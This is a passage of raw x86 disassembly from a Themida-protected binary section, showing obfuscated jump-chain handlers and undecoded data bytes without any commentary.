Themida_:0055D305j push ecx mov ecx, esp jmp loc_570B33 ; --------------------------------------------------------------------------- loc_55EAE8: ; CODE XREF: Themida_:00571660j add esp, 4 push edi mov edi, 288F7E3Ch add edi, 65320A0Fh not edi jmp loc_5621C3 ; --------------------------------------------------------------------------- loc_55EAFE: ; CODE XREF: Themida_:00569A8Aj add ebp, 4 sub ebp, 4 push ebp push dword ptr [esp+4] pop ebp jmp loc_56AF8A ; --------------------------------------------------------------------------- aVZsbm db '╦',0Dh,'v╥ZИBm',0 align 4 dd 0E84EB81h, 48B1946h, 4C48324h, 10BB6E9h, 0ED815D00h dd 267F5EA4h, 0C581F501h, 267F5EA4h, 242C335Eh, 33242C31h dd 0C3E9242Ch, 0B100013Ah, 59CE8828h, 70E9CDB4h, 5B000090h dd 0F381DBF7h, 8484ADBCh, 7618E9h db 0 ; --------------------------------------------------------------------------- loc_55EB65: ; CODE XREF: Themida_:00565BB7j add ebx, 6FE134F2h push dword ptr [ebx] jmp loc_568B40 ; --------------------------------------------------------------------------- loc_55EB72: ; CODE XREF: Themida_:005711CFj add ecx, 4 xchg ecx, [esp] pop esp shr ebx, 2 push ebp mov ebp, esp add ebp, 4 jmp loc_570CAC ; --------------------------------------------------------------------------- loc_55EB8D: ; CODE XREF: Themida_:00568CD6j add eax, 4 jmp loc_56D4E8 ; --------------------------------------------------------------------------- db 5Ch dd 0FF243C89h, 5F042474h, 8B24048Fh, 0A30F2424h, 0E99C2404h dd 0FFFFE73Dh, 24048F66h, 24048366h, 48F6602h, 0B1686624h dd 34896656h, 0B9665124h, 66500901h, 66F701B8h, 6658C689h dd 1335C681h, 68EE8166h, 0CE016679h, 68C68166h, 0BB665379h dd 31E9085Ah, 89000073h, 1055DEFh, 2D55FF2Dh, 42283EEFh dd 1F3A9005h, 37E1E92Ch db 1, 0 ; --------------------------------------------------------------------------- loc_55EC06: ; CODE XREF: Themida_:0056C527j mov ebx, 85645Dh mov edi, 6B263988h jmp loc_5695EC ; --------------------------------------------------------------------------- db 0E9h, 0D3h, 0E6h dd 0EE81FFFFh, 166119B9h, 0DDE9CE01h db 28h, 1, 0 ; --------------------------------------------------------------------------- loc_55EC27: ; CODE XREF: Themida_:0056C56Aj mov ebx, 4 add ebp, ebx pop ebx jmp loc_56DA9F ; --------------------------------------------------------------------------- dd 0B860ACBEh, 0D3CE816Eh, 0E94E060Bh, 376h, 295EF231h dd 0BF575AD5h, 3D9D128Dh, 15FFD01h, 8DED81C5h, 813D9D12h dd 5842EBC5h, 8826E940h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55EC66: ; CODE XREF: Themida_:0056A88Dj push eax push ecx push 27C73AA6h push dword ptr [esp] mov ecx, [esp] add esp, 4 add esp, 4 dec ecx push eax mov eax, 71F604A5h jmp loc_56ABC5 ; --------------------------------------------------------------------------- dd 8BFE8959h, 0C481243Ch, 4, 6E8AE9h, 2EA8100h, 87000000h dd 248B2414h, 1628E924h db 1, 0 ; --------------------------------------------------------------------------- loc_55ECAA: ; CODE XREF: Themida_:005695EEj pop ebx shr edi, 7 and edi, 39C76D80h push edi jmp loc_56CBED ; --------------------------------------------------------------------------- loc_55ECBA: ; CODE XREF: Themida_:00560A89j mov eax, 2CD20C94h add edx, eax pop eax add edx, edi push ebp mov ebp, 2CD20C94h sub edx, ebp pop ebp sub esp, 4 jmp loc_566161 ; --------------------------------------------------------------------------- dd 0C781D7F7h, 5E6F6801h, 93E9FB89h, 2DFFFFE8h, 222E254Ah dd 0FFFBF5E9h, 57F068FFh, 148B1E7Ch, 66ECE924h, 0E9550000h dd 20E1h ; --------------------------------------------------------------------------- loc_55ED04: ; CODE XREF: Themida_:0056D8DAj mov eax, esp push edx mov edx, 23755CABh add edx, 0DC8AA359h add eax, edx pop edx add eax, 4 jmp loc_571C7E ; --------------------------------------------------------------------------- db 83h dd 685604C4h, 1787h, 371C68h, 0B9E95400h, 68000106h, 2972h dd 0BF243C89h, 56270417h, 56E9F909h, 5BFFFFECh, 3466EA81h dd 0C2814D24h, 690D0B47h, 0F9E9CA01h, 1000011h, 0BEE81C6h dd 8B740314h db 4, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_56C7D1 ; --------------------------------------------------------------------------- dw 2489h dd 24048124h, 4, 5985E9h db 0 ; --------------------------------------------------------------------------- loc_55ED7D: ; CODE XREF: Themida_:0056D83Ej pop esp mov [esp], esi not dword ptr [esp] pop esi jmp loc_55EA84 ; --------------------------------------------------------------------------- dw 0D801h aH4 db '[hф4',0 align 2 dw 2C89h dd 2C24BD24h, 0E9534772h, 0F0E8h, 0E7895757h, 4C781h, 0BE560000h dd 4, 0AB11E9h, 2636B800h, 60E93B7Dh, 2800001Ah, 5DF8E9EFh dd 4BB0000h, 0E9000000h, 6F08h ; --------------------------------------------------------------------------- loc_55EDD0: ; CODE XREF: Themida_:0056BFB3j add eax, 2 xchg eax, [esp] pop esp jmp loc_571676 ; --------------------------------------------------------------------------- dw 0BA52h dd 427B7BA4h, 15AD029h, 7BA405D0h, 34FF427Bh, 2434FF24h dd 0A8CBE9h, 0C8B6600h, 0E2895224h, 4B951h, 0CA010000h dd 81240C8Bh, 4C4h, 1314E900h, 4870001h, 0EC815C24h, 4 dd 0B3241C89h, 0E9CBFEB8h, 1121Fh, 133819BDh, 0D2F3E930h dd 0EE810000h, 74D440B1h, 0EDEE9h, 5AD72800h, 7A4BE9h dd 53EE0100h, 4D27ACBBh, 76C38132h, 1F9CE1Ah, 241C8BDEh dd 0E904C483h, 10B75h, 456A2D48h, 0C1015135h, 3505E958h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55EE72: ; CODE XREF: Themida_:005662DDj add ecx, 30245DD1h pop edx inc ecx jmp loc_55F233 ; --------------------------------------------------------------------------- db 8Bh dd 89562404h, 1CFE9E6h, 0D4BE0001h, 31121D7Fh, 0D3F75EF3h dd 0A82F381h, 0F38159C6h, 0E607E07Dh, 8B5BDE01h, 89502404h dd 405E0h, 4050000h, 87000000h, 685C2404h, 4D8Eh, 51240489h dd 0E76E955h, 0C1810001h, 4, 4C181h, 0C870000h, 24248B24h dd 105h, 53E40500h, 70E929DCh, 560000A4h, 42474FFh, 24048F5Eh dd 4B9515Ch, 1000000h, 18D0E9CDh, 8F540000h, 68522404h dd 4, 2454015Ah, 24148B04h, 4C481h, 34FF0000h, 0D21CE924h dd 815B0000h, 4C3h, 0BD555000h, 4DB7439Fh, 5155E9h, 5F62BA00h dd 5EE9462Dh db 50h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55EF3B: ; CODE XREF: Themida_:00568CCBj pop ecx sub ebp, 40964D6Bh add ebp, esi add ebp, 40964D6Bh pop esi add ebp, 4 xchg ebp, [esp] mov esp, [esp] add eax, 1E446A67h jmp loc_55D2ED ; --------------------------------------------------------------------------- dw 0C683h dd 24348704h, 103F2D5Ch, 0C1017C36h, 8B2434FFh, 0C4812404h dd 4, 22C9E9h, 0B5BB5300h, 0E958A30Bh, 0EBB7h ; --------------------------------------------------------------------------- loc_55EF88: ; CODE XREF: Themida_:00567554j xor [esp], ebp xor ebp, [esp] jmp loc_560C63 ; --------------------------------------------------------------------------- loc_55EF93: ; CODE XREF: Themida_:0055DAE7j push dword ptr [esp+4] push dword ptr [esp] jmp loc_56A99B ; --------------------------------------------------------------------------- aMs db '╛И%`',0 dd 0C335F00h, 240C3124h, 0FFECE7E9h, 243C87FFh, 2350E95Ch dd 4E460000h, 449E9h, 4A96800h, 1C890000h, 0C09FB724h dd 0C7FE08EFh, 0C003EFC0h, 0E8E903E7h, 810000C2h, 45782404h dd 525F4FACh, 447EABAh, 0CC94E927h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55EFEE: ; CODE XREF: Themida_:0056A66Cj pop ebx xor ebp, 0B3B2985h not ebp shr ebp, 3 push 6F5h mov [esp], edi push esi jmp loc_567018 ; --------------------------------------------------------------------------- loc_55F008: ; CODE XREF: Themida_:00564178j mov ebp, 29236692h add esi, 15C30900h sub esi, ebp sub esi, 15C30900h pop ebp and eax, esi pop esi or edx, eax shl edx, 1 sub esp, 4 jmp loc_563B98 ; --------------------------------------------------------------------------- loc_55F02B: ; CODE XREF: Themida_:005659DCj push dword ptr [esp] pop eax add esp, 4 push 7642h jmp loc_563716 ; --------------------------------------------------------------------------- db 0BAh dd 2C2C11B6h, 6B7EE281h, 0E2C11FB9h, 0D303E902h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55F052: ; CODE XREF: Themida_:00568F83j add ebp, 4 push edi mov edi, 4 sub ebp, edi pop edi xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] jmp loc_56DCF4 ; --------------------------------------------------------------------------- dw 34FFh dd 0EC815924h, 4, 89242C89h, 4C581E5h, 0E9000000h, 10965h dd 34E9D029h, 5BFFFFF0h, 8B2434FFh, 0C483240Ch, 4EC8304h dd 54240C89h, 0FD9BE959h, 91BB0000h, 81208874h, 716289EBh dd 0E9DBF7E1h, 56D7h, 405h, 40500h, 4870000h, 14315C24h dd 24143324h, 8B241431h, 0C483240Ch, 240C3104h, 31240C33h dd 6E9240Ch, 81FFFFE2h, 926375C5h, 0DDED8161h, 8B063871h dd 0C4832404h, 4EC8304h, 0E9243489h, 0A607h ; --------------------------------------------------------------------------- loc_55F104: ; CODE XREF: Themida_:00565FE2j push 7A7Eh mov [esp], edi jmp loc_566C4D ; --------------------------------------------------------------------------- loc_55F111: ; CODE XREF: Themida_:00564E03j pop edi or eax, edi pop edi jmp loc_56C1CC ; --------------------------------------------------------------------------- dw 0DEF7h dd 71B7EE81h, 0C681170Ah, 1716929Ah, 335EF301h, 1C31241Ch dd 241C3324h, 6624248Bh, 9C2424D3h, 0FFE1ACE9h, 4C483FFh dd 68h, 2434FF00h, 0FF2434FFh, 815B2434h, 4C4h, 5FF96800h dd 1C890000h, 0CE3FE924h, 0C870000h, 6BB5E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55F16E: ; CODE XREF: Themida_:0055F8F5j or edx, eax shl edx, 1 push ecx jmp loc_5633EE ; --------------------------------------------------------------------------- dd 0FFE9C9FEh, 0D20000B8h, 0E99C2424h, 0FFFFE165h, 0FD0031B7h dd 8B2434FFh, 0C481241Ch, 4, 5E08950h, 4, 405h, 24048700h dd 0EA88525Ch, 50D58851h, 0C388E888h, 240C8B58h, 0FFE1B5E9h db 0FFh ; --------------------------------------------------------------------------- loc_55F1BD: ; CODE XREF: Themida_:005707D4j pop ebx add ebp, 73C132EBh sub ebp, edx sub ebp, 73C132EBh pop edx jmp loc_5688A9 ; --------------------------------------------------------------------------- loc_55F1D2: ; CODE XREF: Themida_:0056F681j push eax push edi jmp loc_568B28 ; --------------------------------------------------------------------------- loc_55F1D9: ; CODE XREF: Themida_:005614A2j pop esi jmp loc_55E3DE ; --------------------------------------------------------------------------- db 1 dd 24148BD3h, 4C481h, 66580000h, 0E924148Bh, 13400h, 240C8B66h dd 0B22BE9h, 0A2C58100h, 89FB2128h, 57F9E9EAh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55F20A: ; CODE XREF: Themida_:0056ECF2j push edx jmp loc_56B0BD ; --------------------------------------------------------------------------- dd 1070EB81h, 0EB0114EFh, 0A2E5E957h, 0E9890000h, 81242C8Bh dd 4C4h, 78A26800h, 0C1E90000h db 73h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55F233: ; CODE XREF: Themida_:0055EE7Aj xchg esi, ecx jmp loc_55FD33 ; --------------------------------------------------------------------------- dw 2966h dd 8B665FF8h, 0C4832434h, 4EC8102h, 0E9000000h, 8958h ; --------------------------------------------------------------------------- loc_55F250: ; CODE XREF: Themida_:0056F17Fj push dword ptr [esp] pop eax push edx push esp pop edx push ecx mov ecx, 4 jmp loc_569F5A ; --------------------------------------------------------------------------- dw 34FFh dd 0C4815F24h, 4, 0AE04E997h, 815B0000h, 4C3h, 4C38300h dd 4EB2E9h, 0D03EB300h, 97CB80EBh, 0C012F380h, 0C38007EBh dd 5BDC2899h, 0E980ACB1h, 0F382E9F4h, 34FF0000h, 240C8B24h dd 8104C483h, 4C4h, 4EC8300h, 55241C89h, 79111FBDh, 23CD8168h dd 0E95AB17Eh, 0FFFFE49Ch, 98087668h, 0B763E960h, 0C4810000h dd 4, 5E3C14Bh, 0B595C381h, 0DA0104DEh, 0F0E0E95Bh, 2489FFFFh dd 4EC8324h, 0E9242C89h, 0D90Ah, 0E9C1D9F7h, 0C1814107h dd 0DECC474Eh, 63BBE9h db 0 ; --------------------------------------------------------------------------- loc_55F305: ; CODE XREF: Themida_:00567AD5j xchg edx, [esp] jmp loc_55D9C6 ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 53241489h, 2DEFE9h db 0 ; --------------------------------------------------------------------------- loc_55F319: ; CODE XREF: Themida_:0056A9A7j add edi, 4 add edi, 4 xchg edi, [esp] pop esp pop dword ptr [esp] push dword ptr [esp] push dword ptr [esp] pop edx jmp loc_565239 ; --------------------------------------------------------------------------- dd 242C875Bh, 243C895Ch, 0A814F068h, 8FE95F76h, 580000E1h dd 19B4E950h, 0E4B80001h, 19AFB9Ah, 0EC815EF0h, 4, 52240C89h dd 0D62716BAh, 0A2D8E958h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55F36E: ; CODE XREF: Themida_:005670ACj add eax, 4A9527BBh sub eax, 74131809h jmp loc_560402 ; --------------------------------------------------------------------------- loc_55F37D: ; CODE XREF: Themida_:005729ACj push esi push 325h mov [esp], edi jmp loc_56637A ; --------------------------------------------------------------------------- db 1 dd 0F6815FFEh, 236E6FB9h, 0E95EF201h, 71ABh, 6F7AC681h dd 0F729E749h, 6B68505Eh, 58127E3Ah, 0A327B235h, 0E9C72972h dd 0F3DFh, 607A40B8h, 4C65E905h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55F3C2: ; CODE XREF: Themida_:0055D60Cj pop edi xor eax, [esp] xor [esp], eax xor eax, [esp] jmp loc_562CDA ; --------------------------------------------------------------------------- a_sef db '_И┘f',0 dw 5000h dd 0FFF735E9h, 3FC381FFh, 0E97F8A6Fh, 0FFFFEA03h, 41BA525Dh dd 816E8575h, 0E44DDDE2h, 6E2C14Eh, 10172E9h, 4C48300h dd 286268h, 2D55E900h, 0D6F70000h, 2465F681h, 0F789F000h dd 0E1C4E95Eh, 0C301FFFFh, 7F1E958h, 1C890000h, 687DB724h dd 433Ah, 88240489h, 0D68BE9FCh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55F436: ; CODE XREF: Themida_:00560CECj sub eax, 2DB044C6h add eax, 20AD30ECh add eax, ecx sub eax, 20AD30ECh add eax, 2DB044C6h pop ecx xor eax, [esp] jmp loc_5728D5 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 83000000h, 0EA6804C4h, 89000064h, 5066241Ch, 0DCE95152h db 0F6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F46F: ; CODE XREF: Themida_:0055D2F6j add edi, 4 jmp loc_570B64 ; --------------------------------------------------------------------------- dw 8153h dd 4ECh, 1388E900h, 0E9530000h, 12E76h ; --------------------------------------------------------------------------- loc_55F48C: ; CODE XREF: Themida_:00565DCDj push 4F947BBAh mov ebx, [esp] add esp, 4 shl ebx, 5 xor ebx, 0F5374366h mov ecx, ebx pop ebx sub ebx, ecx mov ecx, [esp] add esp, 4 add ebx, 14780286h sub esp, 4 mov [esp], esi mov esi, 1A314554h push ebx mov ebx, 0EAC11924h add esi, ebx pop ebx add ebx, 632D725Ch sub ebx, esi jmp loc_56EC66 ; --------------------------------------------------------------------------- dd 72C281h, 0E2814933h, 3D39455Eh, 13421E9h, 2474FF00h dd 243C8B04h, 1B17E9h db 0 ; --------------------------------------------------------------------------- loc_55F4F5: ; CODE XREF: Themida_:0055F932j xor ebp, ecx pop ecx xor ebp, 624F644Ch jmp loc_56FC79 ; --------------------------------------------------------------------------- db 1 dd 535058C3h, 0CCF8E9h, 99E95200h, 31000036h, 4EC83C3h dd 0BF243C89h, 42657ECDh, 3C8BFA01h, 4C48324h, 6718BB53h dd 0BD5537DEh, 24C3031Fh, 815DEB09h, 0A563FEF3h, 0C3814B79h dd 0BC91250Fh, 31E9DA29h, 54000043h, 0F0C7E9h, 50E28800h dd 0EC81D488h, 4, 944CE9h, 0B2B45000h, 88DFF480h, 0EB2858E5h dd 0AEE95966h, 87000059h, 895C2414h, 38E9242Ch, 0F700002Ch dd 0B4EA81DAh, 890B0A49h, 0BAE95AD7h db 0C8h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55F58F: ; CODE XREF: Themida_:0057112Fj add dword ptr [esp], 4 mov eax, [esp] add esp, 4 add eax, 4 jmp loc_56B52B ; --------------------------------------------------------------------------- dw 0F000h dd 54E95A66h, 89FFFFEEh, 4C281E2h, 81000000h, 4C2h, 3BEE900h dd 34890001h, 635BBE24h, 0F03126B8h, 45612D5Eh, 592D5070h dd 144432Bh, 77E957F8h db 0C4h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55F5DF: ; CODE XREF: Themida_:00565D1Ej and al, bh jmp loc_560A6B ; --------------------------------------------------------------------------- dw 0EE81h dd 4, 0DF2DE9h, 925BB00h, 0D3F729E9h, 4B03E3C1h, 123E5E9h db 0 ; --------------------------------------------------------------------------- loc_55F601: ; CODE XREF: Themida_:0055F6C5j pop ebx push ecx jmp loc_56CE47 ; --------------------------------------------------------------------------- dd 0DB13E959h, 80BE0000h, 1D1DDFCh, 24348BF7h, 0CAE9h dd 5DEA0100h, 5F4168h, 243C8900h, 2BFh, 8BFA0100h, 0E952243Ch dd 0F57Dh ; --------------------------------------------------------------------------- loc_55F638: ; CODE XREF: Themida_:0056378Aj add esp, 4 sub dword ptr [esp+4], 59FF69A1h add dword ptr [esp+4], 5EF37C5Dh add [esp+4], eax sub dword ptr [esp+4], 5EF37C5Dh add dword ptr [esp+4], 59FF69A1h pop eax mov eax, [esp] jmp loc_57008E ; --------------------------------------------------------------------------- aRsij db 'RИi├',0 dd 0F3BA5200h, 291BAD00h, 0F3815AD3h, 77FA189Fh, 729568h dd 243C8900h, 7F52A5BFh, 5FFB31F2h, 1C8BDA31h, 0E3A3E924h dd 0C380FFFFh, 0E1B551C3h, 2DE9EB00h, 66000077h, 5024048Bh dd 24048B54h, 95B6E9h, 243C3300h, 9371E9h db 0 ; --------------------------------------------------------------------------- loc_55F6BD: ; CODE XREF: Themida_:00562A7Fj push ebx mov ebx, 4 add edx, ebx jmp loc_55F601 ; --------------------------------------------------------------------------- loc_55F6CA: ; CODE XREF: Themida_:00561483j mov ebp, eax pop eax jmp loc_56A3B7 ; --------------------------------------------------------------------------- dw 0C89h dd 50E18924h, 9E2BFDB8h, 0D4070567h, 6FE99861h, 8300004Eh dd 572D04C4h, 1562D13h, 135705F8h, 15F562Dh, 7B1C2DF0h dd 0BB532FA5h, 7381A14h, 0FFF681E9h db 0FFh ; --------------------------------------------------------------------------- loc_55F709: ; CODE XREF: Themida_:005658A2j add esp, 4 push 3FA4h jmp loc_570FA6 ; --------------------------------------------------------------------------- dw 0C301h dd 0E9FB0158h, 12028h, 296E681h, 0CE811DE9h, 238D207Eh dd 0DD06C681h, 0F301DC72h, 1E7AE9h, 8BD02900h, 0C4812414h dd 4, 18E0B951h, 0E9C1201Ch, 9FC18108h, 123AB1Fh, 240C8BC8h dd 4C481h, 0D0F70000h, 8BB9E9h, 61BA5200h, 81494B51h, 1EAh dd 87FA8700h, 0E9D1F7CFh, 0FBDBh ; --------------------------------------------------------------------------- loc_55F77C: ; CODE XREF: Themida_:0056582Fj xor eax, [esp] mov esp, [esp] push ecx jmp loc_572773 ; --------------------------------------------------------------------------- aUPEtsm db 'U╫▐{┘tИMй',0 dw 8300h dd 0C8904ECh, 81E18924h, 4C1h, 4EC8300h, 89240C89h, 4BF57E1h dd 81000000h, 0C36A97C1h, 1EC1812Eh, 15FE15Fh, 1EE981F9h dd 0E95FE15Fh, 6B76h, 0BE243489h, 4, 515EF101h, 42474FFh dd 81240C8Bh, 4C4h, 24048F00h, 8324248Bh, 2C8904ECh, 6653BD24h dd 6C0144F3h, 815D0424h, 31872404h, 4810F28h, 0AE099724h dd 24040172h, 997BE56h, 742972AEh, 348B0424h, 4C48124h dd 0E9000000h, 12C7Eh, 0E9243C33h, 12052h, 66D82966h, 6625102Dh dd 81241C8Bh, 2C4h, 5F545700h, 4C781h, 0EF830000h, 74FF5702h dd 8F5F0424h, 248B2404h, 0DFEDE924h, 0BD55FFFFh, 4AF0466Fh dd 8D23E9h, 0E9525300h, 56F8h, 0E904EB83h, 4A97h, 9D15F681h dd 0F389830Bh, 0D07BE95Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55F87E: ; CODE XREF: Themida_:00564508j push edi mov edi, 28BD6708h not edi not edi sub edi, 0D6DF9F33h jmp loc_565486 ; --------------------------------------------------------------------------- db 8Bh dd 0C483240Ch, 9DEA8104h, 0E99D9EACh, 482Ch, 4E5EEB81h dd 0D7E920BEh, 8B00010Ch, 24D32424h, 0DA33E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F8BA: ; CODE XREF: Themida_:0056E9CBj xor eax, 10886h sub ebx, eax pop eax xchg ebx, [esp] mov esp, [esp] mov [esp], eax push 39BEh jmp loc_571004 ; --------------------------------------------------------------------------- db 29h, 0DFh, 81h dd 472010C7h, 0EEF7E941h, 815FFFFFh, 4C7h, 28B85000h, 0E97A2017h dd 0C708h ; --------------------------------------------------------------------------- loc_55F8F4: ; CODE XREF: Themida_:005682DEj pop ecx jmp loc_55F16E ; --------------------------------------------------------------------------- dw 0E9C0h dd 16E98006h, 0C005E1C0h, 536606E1h, 88CE8852h, 0D7F65AF7h dd 8904EC83h, 88522404h, 0ECE5E9FEh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55F91E: ; CODE XREF: Themida_:005725CDj pop eax or ebp, 550314B2h push 356Fh mov [esp], ecx mov ecx, 3F903986h jmp loc_55F4F5 ; --------------------------------------------------------------------------- db 29h dd 0EF60E9F0h, 565D0000h, 0B4DBE9h, 240C8900h, 0C1802FB1h dd 0FDA6E979h, 34FF0000h, 0C4835924h, 0D98FE904h, 8951FFFFh dd 4C181E1h, 83000000h, 0C8704C1h, 33A8E924h, 0F2810000h dd 97F88626h, 64ED68h, 243C8900h, 0F989D789h, 24148B5Fh dd 8104C483h, 0E6A489E9h, 59C82911h, 0CEF9E953h, 0C2830000h dd 45786804h, 14890000h, 2474FF24h, 48F5A04h, 0CC79E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55F9B2: ; CODE XREF: Themida_:00568287j push dword ptr [esp] mov ebp, [esp] add esp, 4 jmp loc_56050E ; --------------------------------------------------------------------------- loc_55F9C0: ; CODE XREF: Themida_:0056B9FAj push dword ptr [esp] pop edx push edx push esp pop edx add edx, 4 push edi push 4 mov edi, [esp] add esp, 4 add edx, 22E93CD9h add edx, edi sub edx, 22E93CD9h jmp loc_567CC2 ; --------------------------------------------------------------------------- loc_55F9EC: ; CODE XREF: Themida_:00568AE8j pop ebp jmp loc_56CE5E ; --------------------------------------------------------------------------- dw 0BD55h dd 824BBF93h, 895DEA89h, 0E9AE9D5h, 0E94E0001h, 0FFFFFD18h dd 83241C8Bh, 0C38104C4h, 4, 8904EC83h, 68532404h, 1D051F91h dd 69BD555Bh, 810C692Fh, 6B2A33E5h, 0A9F5811Eh, 571B4456h dd 0B2354BFh, 5FFD0974h, 0FFEBE951h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55FA42: ; CODE XREF: Themida_:00566C80j push dword ptr [edi+eax*4] push eax push 37C6h mov [esp], edi mov edi, 125E1FDBh sub esp, 4 mov [esp], esi mov esi, 113924ABh jmp loc_572803 ; --------------------------------------------------------------------------- db 0F7h dd 0E99C241Ch, 9CC7h, 0E958C629h, 0FFFFEEADh, 5C241433h dd 240C8B66h, 8904EC83h, 0E389241Ch, 272EE955h db 1, 0 ; --------------------------------------------------------------------------- loc_55FA8A: ; CODE XREF: Themida_:0056664Bj mov ebx, 1D74EE7h sub esi, 6EC56333h add esi, ebx add esi, 6EC56333h pop ebx push edx push ebx mov ebx, 4CB21933h jmp loc_570918 ; --------------------------------------------------------------------------- loc_55FAAA: ; CODE XREF: Themida_:0056EF3Aj shl edi, 2 add edi, 459014E0h or edi, 5683CD3h jmp loc_56A539 ; --------------------------------------------------------------------------- dw 815Dh dd 4ECh, 57F1E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55FACA: ; CODE XREF: Themida_:0056B3C1j jmp loc_55D2ED ; --------------------------------------------------------------------------- db 0BBh dd 1E296B0Dh, 6C07CB81h, 0D3F71BD0h, 0EBC1DBF7h, 81D3F707h dd 561B5FF3h, 5BDE010Bh, 685EF129h, 5473h, 0FF240C89h dd 0FF042474h, 0C8B2434h, 4C48324h, 51E78957h, 332CFCB9h dd 7E9C14Bh, 99ABC181h, 0CF01FF69h, 11098E9h, 1C96800h dd 815A1D2Bh, 0A9667DF2h, 4EC8106h, 89000000h, 22BE2434h dd 290E683Dh, 0E8E95EF2h, 0FF000022h, 669D1C77h, 24041058h dd 0D79FE99Ch, 248BFFFFh, 2424D324h, 0D8B9E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FB5A: ; CODE XREF: Themida_:0056A7FAj xchg eax, [esp] pop esp jmp loc_5711BA ; --------------------------------------------------------------------------- db 0C1h dd 0EDC108E5h, 0F2B85006h, 5750C348h, 7C092DBFh, 0E7DE924h dd 0DBF60000h, 804DC380h, 0E38042F3h, 0E6C380A8h, 71E9DD28h dd 87000128h, 248B2434h, 24048724h, 0D74FE95Ch, 0E95EFFFFh dd 0B90Ah, 7FEF70B9h, 59CB01FAh, 2EA1E981h, 0D9016810h dd 17EEE957h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55FBBA: ; CODE XREF: Themida_:0056E1B3j push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp xor edx, 47893CCFh jmp loc_5638C3 ; --------------------------------------------------------------------------- loc_55FBD8: ; CODE XREF: Themida_:00562641j xor esi, ebp pop ebp shl esi, 4 or esi, 64185614h jmp loc_564679 ; --------------------------------------------------------------------------- db 0B9h, 8Dh, 29h dd 0F1814763h, 679C4CD5h, 0E7E9CF89h, 47000084h, 66B5E9h dd 55E95000h, 5A0000FCh, 8904EC83h, 81E9242Ch, 5E00003Ah dd 31241C33h, 1C33241Ch, 24248B24h, 9C242CD2h, 3931E9h dd 5AE7BD00h, 0E5D15266h, 636ED81h, 0DDF7405Eh, 0D6ED8145h dd 0E97A6711h, 2BFDh ; --------------------------------------------------------------------------- loc_55FC44: ; CODE XREF: Themida_:00571ACBj mov esp, [esp] mov [esp], eax mov eax, 0 push ebp mov ebp, 92346D6h neg ebp add ebp, 31266923h add ebp, 0F1DC48ADh add eax, ebp jmp loc_56FD27 ; --------------------------------------------------------------------------- dw 8B66h dd 0EC832404h, 24048904h, 4EC81h, 24890000h, 4B85024h dd 1000000h, 58042444h, 24D66858h, 0C890000h, 0F0BD5524h dd 0B97B9872h, 7B9872F4h, 4282C181h, 0E9295850h, 4282E981h dd 15D5850h, 2434FFC8h, 0CC0E9h, 241C8900h, 3B02E2BBh dd 5BD88936h, 0D54AAB35h, 99DFE97Ch, 27680000h, 89000070h dd 0CBBE2434h, 0E94E0D3Dh, 0FFFFD7D4h, 2957C681h, 0EE81036Ah dd 1F8A832Fh, 815EF701h, 0DA1D80E7h, 5BC7811Fh, 81604DFDh dd 0B0F9FEEh, 5081E96Ch, 0C8FE0000h, 0DDDFE9h, 82E94700h dd 33000022h, 248B2414h, 66C33124h, 0CEE9008Fh, 81FFFFD5h dd 136B7EEEh, 95C68146h, 15A5944h, 2E95EF0h db 4Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_55FD33: ; CODE XREF: Themida_:0055F235j inc esi xchg esi, ecx shl ecx, 5 push 4C4Ah mov [esp], ebp mov ebp, 0CBDA57B0h add ecx, ebp jmp loc_5699A4 ; --------------------------------------------------------------------------- db 0B8h, 82h, 4Bh dd 11050FA2h, 0F736A90Bh, 36E22DD8h, 0D8F717A7h, 0C85BD42Dh dd 29D6E96Dh, 59660000h, 7C46E9h, 1C5F0900h, 0E9241C8Bh dd 0A4CDh, 8704C583h, 248B242Ch, 660B6824h, 0C890000h dd 0F637B124h, 0F6D9F6D1h, 23C180D1h, 0FFDE82E9h, 0E9F529FFh dd 0E1CFh, 3FE9C601h, 5800009Bh, 0DDA7E9h, 89575900h, 4DD2E9E7h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55FDBA: ; CODE XREF: Themida_:0056FA8Ej mov eax, 3041777Fh and ebp, eax pop eax push esi mov esi, 431F59F9h jmp loc_5600B3 ; --------------------------------------------------------------------------- loc_55FDCD: ; CODE XREF: Themida_:00571234j pop esp push dword ptr [esp] pop ecx push 7AFEh mov [esp], ecx mov ecx, esp add ecx, 4 push edx mov edx, 4 add ecx, edx jmp loc_56F53D ; --------------------------------------------------------------------------- db 68h dd 34B6h, 0E9240C89h, 0A1CDh, 83242C8Bh, 0F00104C4h, 2438702Dh dd 4534E959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55FE0E: ; CODE XREF: Themida_:0055DD5Bj sub ebp, 0FFFFFFFFh sub esp, 4 mov [esp], ecx mov ecx, 575030D6h and ebp, ecx pop ecx add ebp, 28F16B1Ah push edx push ebx push eax mov eax, 4F5957F2h push edx mov edx, 0BCC2EFCBh mov ebx, edx pop edx add ebx, eax pop eax sub esp, 4 mov [esp], esi mov esi, 0FA375941h mov edx, esi pop esi jmp loc_5707D2 ; --------------------------------------------------------------------------- loc_55FE52: ; CODE XREF: Themida_:0056659Cj xor ecx, 